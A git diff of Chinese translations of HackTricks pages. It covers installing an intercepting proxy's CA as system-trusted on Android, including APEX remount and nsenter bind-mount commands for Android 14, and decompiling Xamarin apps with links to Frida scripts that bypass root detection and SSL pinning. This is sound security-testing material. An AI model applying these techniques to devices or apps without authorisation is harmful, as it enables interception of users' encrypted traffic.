<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **使其成为系统信任的证书**：下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)（一个.zip文件），将其拖放到手机上，转到手机上的Magics应用程序，转到“模块”部分，点击“从存储安装”，选择`.zip`模块，安装后重新启动手机：
|
||||
2. **使其成为系统信任**：下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)（一个.zip文件），**拖放**到手机中，转到手机中的**Magics应用**的**`Modules`**部分，点击**`从存储安装`**，选择`.zip`模块并安装后**重启**手机：
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 重新启动后，转到“受信任的凭据”->“系统”，检查Postswigger证书是否存在
|
||||
* 重启后，转到`受信任的凭据` -> `SYSTEM`并检查Postswigger证书是否在那里
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -66,21 +70,21 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
变化：
|
||||
|
||||
* 到目前为止，系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上，可以使用根访问直接修改这些证书，立即在所有地方生效。
|
||||
* 在Android 14中，系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**，而**`/apex`的所有内容都是不可变的**。
|
||||
* 无法将**APEX cacerts路径重新挂载为可写** - 重新挂载会失败。实际上，即使您从根shell中卸载整个路径，应用程序仍然可以正常读取您的证书。
|
||||
* 将tmpfs目录挂载在顶部的替代技术也无法工作 - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能返回空（或任何其他您喜欢的内容），应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[显式挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a)，使用私有传播，因此`/apex`路径内的挂载更改永远不会在进程之间共享。
|
||||
* 目前为止，系统信任的CA证书位于**`/system/etc/security/cacerts/`**。在标准的AOSP模拟器上，这些可以通过最小设置**直接通过root访问进行修改**，立即在**所有地方生效**。
|
||||
* 在Android 14中，系统信任的CA证书通常位于**`/apex/com.android.conscrypt/cacerts`**，并且所有的**`/apex`都是不可变的**。
|
||||
* **APEX cacerts路径无法重新挂载为可写** - 重新挂载简单地失败。实际上，即使您从root shell卸载整个路径，应用程序仍然可以很好地读取您的证书。
|
||||
* **在顶部挂载tmpfs目录的替代技术也不起作用** - 即使这意味着`ls /apex/com.android.conscrypt/cacerts`可能什么都不返回（或者您喜欢的任何其他内容），应用程序仍然会看到相同的原始数据。
|
||||
* 因为`/apex`挂载是[明确挂载](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **具有PRIVATE传播**，以便在`/apex`路径内的所有挂载更改都不会在进程之间共享。
|
||||
|
||||
这是由启动操作系统的`init`进程完成的，然后启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)（使用从父进程复制的新挂载命名空间，因此包括其自己的私有`/apex`挂载），然后依次启动每个应用程序进程，每当在设备上启动应用程序时（每个应用程序进程然后复制相同的私有`/apex`挂载）。
|
||||
这是由启动操作系统的`init`进程完成的，然后它启动[Zygote进程](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote)（从父进程复制了一个新的挂载命名空间，因此包括其**自己的私有`/apex`挂载**），然后反过来**启动每个应用进程**，每当设备上启动应用时（他们每个人反过来又**复制了同样的私有`/apex`挂载**）。
|
||||
|
||||
### 递归重新挂载挂载点
|
||||
|
||||
* 您可以手动重新挂载`/apex`，删除私有传播并使其可写（具有讽刺意味的是，似乎完全删除私有传播确实在所有地方传播）
|
||||
* 您将整个`/apex/com.android.conscrypt`的内容复制到其他位置
|
||||
* 然后完全卸载`/apex/com.android.conscrypt` - 删除不可变地提供此模块的只读挂载
|
||||
* 然后将内容复制回来，使其直接位于`/apex`挂载中，可以进行修改（您需要快速执行此操作，因为[显然](https://infosec.exchange/@g1a55er/111069489513139531)否则可能会导致崩溃）
|
||||
* 这应该立即生效，但他们建议杀死`system_server`（重新启动所有应用程序）以使一切恢复到一致的状态
|
||||
* 您可以手动重新挂载`/apex`，移除PRIVATE传播并使其可写（讽刺的是，完全移除私有传播似乎_确实_到处传播）
|
||||
* 您将`/apex/com.android.conscrypt`的全部内容复制到其他地方
|
||||
* 然后您完全卸载`/apex/com.android.conscrypt` - 移除不可变地提供此模块的只读挂载
|
||||
* 然后您将内容复制回来，使其直接生活在`/apex`挂载中，可以进行修改（您需要快速完成此操作，因为[显然](https://infosec.exchange/@g1a55er/111069489513139531)您可以看到崩溃）
|
||||
* 这应该立即生效，但他们建议杀死`system_server`（重新启动所有应用程序）以使一切恢复到一致状态
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
|
@ -138,39 +142,39 @@ wait # Launched in parallel - wait for completion here
|
|||
|
||||
echo "System certificate injected"
|
||||
```
|
||||
### 通过 NSEnter 进行绑定挂载
|
||||
### 通过 NSEnter 绑定挂载
|
||||
|
||||
* 首先，我们需要在某个地方设置一个可写目录。为了与现有方法轻松兼容，我使用 `tmpfs` 挂载在（仍然存在的）非 APEX 系统证书目录上：
|
||||
* 首先，我们需要在某处设置一个可写目录。为了与现有方法兼容，我使用 `tmpfs` 挂载覆盖了（仍然存在的）非 APEX 系统证书目录：
|
||||
|
||||
```bash
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
* 然后，将你感兴趣的 CA 证书放入此目录中（例如，你可能想从现有的 `/apex/com.android.conscrypt/cacerts/` CA 证书目录中复制所有默认证书），并适当设置权限和 SELinux 标签。
|
||||
* 然后，使用 `nsenter` 进入 Zygote 的挂载命名空间，并将此目录绑定到 APEX 目录上：
|
||||
* 然后将您感兴趣的 CA 证书放入此目录中（例如，您可能想从现有的 `/apex/com.android.conscrypt/cacerts/` CA 证书目录中复制所有默认值），并适当设置权限和 SELinux 标签。
|
||||
* 接着，使用 `nsenter` 进入 Zygote 的挂载命名空间，并将此目录绑定挂载到 APEX 目录上：
|
||||
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
Zygote 进程会生成每个应用程序，复制其挂载命名空间以完成此操作，因此这确保了所有新启动的应用程序（从现在开始的所有内容）都将使用此目录。
|
||||
* 然后，使用 `nsenter` 进入每个已运行应用程序的命名空间，并执行相同的操作：
|
||||
Zygote 进程生成每个应用程序，复制其挂载命名空间以此进行，因此这确保了所有新启动的应用程序（从现在开始启动的所有应用程序）都将使用这个。
|
||||
* 然后，使用 `nsenter` 进入每个已经运行的应用程序的命名空间，并执行相同的操作：
|
||||
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
|
||||
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
|
||||
或者，如果你不介意笨拙的用户体验，你应该能够在 `init` 本身（PID 1）上进行绑定挂载，然后运行 `stop && start` 来软重启操作系统，重新创建所有命名空间并传播你的更改（但个人上我不介意笨拙的重启，所以我完全忽略了这条路线）。
|
||||
或者，如果您不介意笨拙的用户体验，您应该能够在 `init` 本身（PID 1）上进行绑定挂载，然后运行 `stop && start` 来软重启操作系统，重新创建所有命名空间并传播您的更改到处（但我个人确实介意笨拙的重启，所以我完全忽略了那条路线）。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗？想要在 HackTricks 中 **为你的公司做广告** 吗？或者想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗？请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在 **HackTricks** 中看到您的**公司广告**吗？或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,98 +2,101 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？你想在 HackTricks 中看到你的**公司广告**吗？或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作，想在**HackTricks**上看到您的**公司广告**，或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
Xamarin 是一个开源平台，为开发人员提供了一系列工具和附加组件，使他们能够使用 .NET 和 C# 框架**创建现代的 iOS、Android 和 Windows 应用程序**。
|
||||
Xamarin 是一个开源平台，为开发者提供了一系列工具和附加组件，允许他们使用 .NET 和 C# 框架**创建现代的iOS、Android和Windows应用程序**。
|
||||
|
||||
### Xamarin Android 架构
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarin 提供了对 Android.\* 和 Java.\* 命名空间的 .NET 绑定。Xamarin Android 应用程序在 Mono 执行环境下运行，Android 运行时（ART）虚拟机并行运行。
|
||||
Xamarin 提供了对 Android.\* 和 Java.\* 命名空间的 .NET 绑定。Xamarin.
|
||||
|
||||
Mono 执行环境通过托管可调用包装器（MCW）调用这些命名空间，并为 ART 提供 Android 可调用包装器（ACW）。
|
||||
Android 应用程序在 Mono 执行环境下运行，与 Android Runtime (ART) 虚拟机并行运行。
|
||||
|
||||
这两个环境都运行在 Linux 内核之上，并调用各种 API 以访问用户代码。这种安排允许开发人员访问底层系统。
|
||||
Mono 执行环境通过 Managed Callable Wrappers (MCW) 调用这些命名空间，并为 ART 提供 Android Callable Wrappers (ACW)。
|
||||
|
||||
这两个环境都在 Linux 内核之上运行，并调用各种 API 到用户代码。这种安排允许开发者访问底层系统。
|
||||
|
||||
### Xamarin iOS 项目
|
||||
|
||||
Xamarin.iOS 应用程序在 Mono 运行时环境下运行，并使用全面的 Ahead of Time（AOT）编译将 C# .NET 代码编译为 ARM 汇编语言。
|
||||
Xamarin.iOS 应用程序在 Mono 运行时环境下运行，并使用完整的 Ahead of Time (AOT) 编译将 C# .NET 代码编译为 ARM 汇编语言。
|
||||
|
||||
它与 Objective-C 运行时一起运行。运行时环境运行在类 UNIX 内核之上，并调用多个 API 以访问用户代码，使开发人员能够访问底层的托管或本机系统。
|
||||
它与 Objective-C 运行时一起运行。运行时环境在类 UNIX 内核之上运行，并调用多个 API 到用户代码，这允许开发者访问底层的托管或本地系统。
|
||||
|
||||
下图显示了这种架构：
|
||||
下面给出的图表描述了这种架构：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 什么是 .Net Runtime 和 Mono Framework？
|
||||
### 什么是 .Net 运行时和 Mono 框架？
|
||||
|
||||
**.Net 框架是一组程序集、类和命名空间**，开发人员可以使用它们来创建应用程序；.Net Runtime 运行编译后的代码，这个过程称为托管代码执行。.NET Runtime 提供了几个功能，确保平台独立性，并与旧版本的框架兼容。
|
||||
**.Net 框架是一组程序集、类和命名空间**，开发者可以使用它们来创建应用程序；.Net 运行时运行编译后的代码，这个过程称为托管代码执行。.NET 运行时提供了多种特性，确保了平台独立性，并且与旧版本的框架兼容。
|
||||
|
||||
**Mono Framework** 是在 2005 年由 Ximian/SuSe/Novell 开始的 .NET Framework 的 Linux 实现。由 Microsoft 赞助并由 Xamarin 领导，Mono 是基于 ECMA 对 Common Language Runtime 和 C# 的标准的 .NET Framework 的开源实现。
|
||||
**Mono 框架**始于2005年，是 Linux (Ximian/SuSe/Novell) 上 .NET 框架的实现。在 Microsoft 的赞助和 Xamarin 的领导下，Mono 是基于 ECMA 标准的 Common Language Runtime 和 C# 的 .NET 框架的开源实现。
|
||||
|
||||
## 用于 Xamarin 应用程序的逆向工程技术
|
||||
## Xamarin 应用程序的逆向工程技术
|
||||
|
||||
### 对 Xamarin 程序集的反编译
|
||||
### Xamarin 程序集的反编译
|
||||
|
||||
反编译是从编译代码生成源代码的过程。要获取有关当前内存中的程序集和可执行文件的信息，Windows 是一个很好的选择。
|
||||
反编译是从编译代码生成源代码的过程。要获取有关当前内存中的程序集和可执行文件的信息，Windows 是一个绝佳的地方。
|
||||
|
||||
要打开模块窗口，请选择调试 > 窗口 > 模块。一旦检测到需要反编译的模块，右键单击并选择“反编译源代码到符号文件”。此操作**构建一个包含反编译源代码的符号文件**，从而允许您直接从源代码进入第三方代码。
|
||||
要打开模块窗口，请选择 Debug > Windows > Modules。一旦您检测到需要反编译的模块，右键单击并选择“Decompile Source to Symbol File”。这个操作**创建了一个包含反编译源的符号文件**，反过来，让您可以直接从您的源代码进入第三方代码。
|
||||
|
||||
**Visual Studio** 反编译托管代码，即使没有符号，也可以查看代码、检查变量并设置断点。要将源代码提取到磁盘上，请右键单击带有嵌入源代码的模块，然后单击“提取嵌入的源代码”。这将把源文件导出到一个杂项文件夹以供进一步分析。
|
||||
**Visual Studio**即使没有符号，也能反编译托管代码，允许您查看代码，检查变量并设置断点。要将源代码提取到磁盘，请右键单击嵌入源的模块并点击“Extract Embedded Source”。这将导出源文件到 Miscellaneous files 文件夹以供进一步分析。
|
||||
|
||||
### Xamarin 应用程序的 JIT 编译与 AOT 编译
|
||||
### Xamarin 应用程序的 JIT 与 AOT 编译
|
||||
|
||||
这两种选项用于将基于 C# 的 Xamarin 代码编译为应用程序，即**即时编译和预先编译**。编译方式会影响应用程序代码在 apk 或 ipa 文件中的分发方式。让我们快速看一下下面的情况：
|
||||
这两个选项用于将基于 C# 的 Xamarin 代码编译成应用程序，即**即时编译和提前编译**。编译方式影响应用程序代码在 apk 或 ipa 文件中的打包方式。让我们快速看一下下面的内容：
|
||||
|
||||
- **Android**：Xamarin 允许您使用**JIT 和 AOT 标志同时进行编译**。还有一种方法可以在两者之间进行切换，以获得最高的执行速度，即混合 AOT 模式。请注意，完全 AOT 模式仅适用于企业许可证。
|
||||
\- **Android**：Xamarin 允许您使用**android的 JIT 和 AOT 标志进行编译**。还有一种方法可以使用 Hybrid AOT 模式在两者之间取得最快的执行速度。请注意，完整的 AOT 模式仅适用于企业许可证。
|
||||
|
||||
- **iOS**：在 iOS 的情况下，只有一种选择，即**预先编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||
\- **iOS**：在 iOS 的情况下，只有一种选择，即**提前编译**。这是由于苹果的政策，禁止在设备上执行动态生成的代码。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果遇到完全 AOT 编译的应用程序，并且开发人员已删除 IL Assembly 文件以减小构建大小，则反向工程需要额外的步骤，即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序，并且 IL 文件仍然保留在应用程序包中，我们可以使用它来进行逆向工程分析。
|
||||
如果您遇到一个完整的 AOT 编译应用程序，并且开发者为了减少构建大小而移除了 IL 程序集文件，那么逆向过程需要一个额外的步骤，从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 dll 文件。如果它是一个 Hybrid AOT 编译的应用程序，并且 IL 文件仍然保留在应用程序包中，我们可以使用它来逆向工程应用程序。
|
||||
{% endhint %}
|
||||
## 从APK/IPA获取dll文件
|
||||
|
||||
只需**解压apk/ipa**文件并复制所有位于assemblies目录下的文件：
|
||||
## 从 APK/IPA 获取 dll 文件
|
||||
|
||||
只需**解压 apk/ipa** 文件并复制 assemblies 目录下的所有文件：
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
对于Android **APKs，这些dll文件是压缩的**，不能直接用于反编译。幸运的是，我们可以使用一些工具来**解压这些dll文件**，如[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)和[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
||||
在 Android **APKs 的情况下，这些 dll 文件是压缩的**，不能直接用于反编译。幸运的是，我们可以使用工具来**解压这些 dll 文件**，如 [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) 和 [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)。
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
在程序集目录中，你可能会看到`assemblies.blob`和`assemblies.manifest`而不是dll文件。这是一个Xamarin AssemblyStore，也是在Android应用程序中打包dll文件的当前推荐方法。`assemblies.manifest`是一个文本文件，描述了二进制文件`assemblies.blob`的内容。要解包这些文件，你需要使用[pyxamstore](https://github.com/jakev/pyxamstore)。
|
||||
在assemblies目录中，你可能会看到`assemblies.blob`和`assemblies.manifest`文件，而不是dll文件。这是一个Xamarin AssemblyStore，是目前推荐用于在Android应用程序中打包dlls的方式。`assemblies.manifest`是一个文本文件，描述了二进制文件`assemblies.blob`的内容。要解包这些文件，你需要使用[pyxamstore](https://github.com/jakev/pyxamstore)。
|
||||
```
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
在iOS的情况下，**IPA文件中的dll文件可以直接加载**到反编译器中（无需解压缩）。
|
||||
在iOS的情况下，**IPA文件中的dll文件可以直接加载**到反编译器中（无需解压任何内容）。
|
||||
|
||||
**当我们反编译dll文件时，大部分应用程序代码都可以找到**。此外，基于Xamarin Framework的应用程序在所有平台（如iOS和Android等）的构建中都包含90%的公共代码。
|
||||
**当我们反编译dll文件时，可以找到大部分应用程序代码。** 同时请注意，基于Xamarin框架的应用程序在所有平台（如iOS和Android等）的构建中包含90%的通用代码。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
从上面列出的apk中存在的dll文件的截图中，我们可以确认这是一个Xamarin应用程序。它包含特定于应用程序的dll文件以及运行应用程序所需的库文件，例如`Xamarin.Essentails.dll`或`Mono.Security.dll`。
|
||||
从上面列出apk中存在的dll文件的截图中，我们可以确认这是一个Xamarin应用。它包含了应用程序特定的dll文件以及运行应用程序所需的库文件，例如`Xamarin.Essentails.dll`或`Mono.Security.dll`。
|
||||
|
||||
{% hint style="success" %}
|
||||
最后，您可以使用[**这些推荐的工具**](../reversing/reversing-tools-basic-methods/#net-decompiler)来访问DLL中的**C#代码**。
|
||||
最后，您可以使用[**这些推荐工具**](../reversing/reversing-tools-basic-methods/#net-decompiler)来访问DLL中的**C#代码**。
|
||||
{% endhint %}
|
||||
|
||||
## 动态分析
|
||||
|
||||
尝试检查应用程序是否有任何类型的SSL pinning。如果没有，使用Burp作为系统的CA应该可以拦截请求。**Frida与Java或ObjC运行时在这里无法工作**，但幸运的是，有一个工具可以用于钩入方法。
|
||||
尝试检查应用程序是否有任何形式的SSL固定。如果没有，使用Burp作为系统CA应该可以用于拦截请求。**Frida与Java或ObjC运行时在这里不起作用**，但幸运的是，有一个工具可以用于钩入方法。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您在Xamarin应用程序的运行时轻松**修改.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法，稍后可以使用Fridax钩入这些方法进行动态分析。以下是一些Frida脚本，可以帮助我们绕过root检测或SSL pinning：
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您轻松**修改运行时Xamarin应用程序内的.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法，这些方法可以稍后使用Fridax进行动态分析时钩入。以下是一些Frida脚本，可以帮助我们绕过根检测或SSL固定：
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
|
|
@ -108,10 +111,10 @@ pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的公司广告吗？或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗？请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作，想在HackTricks中看到您的**公司广告**，或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/)[**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR，**分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,47 +1,47 @@
|
|||
# 15672 - 渗透测试RabbitMQ管理
|
||||
# 15672 - 对 RabbitMQ 管理的渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
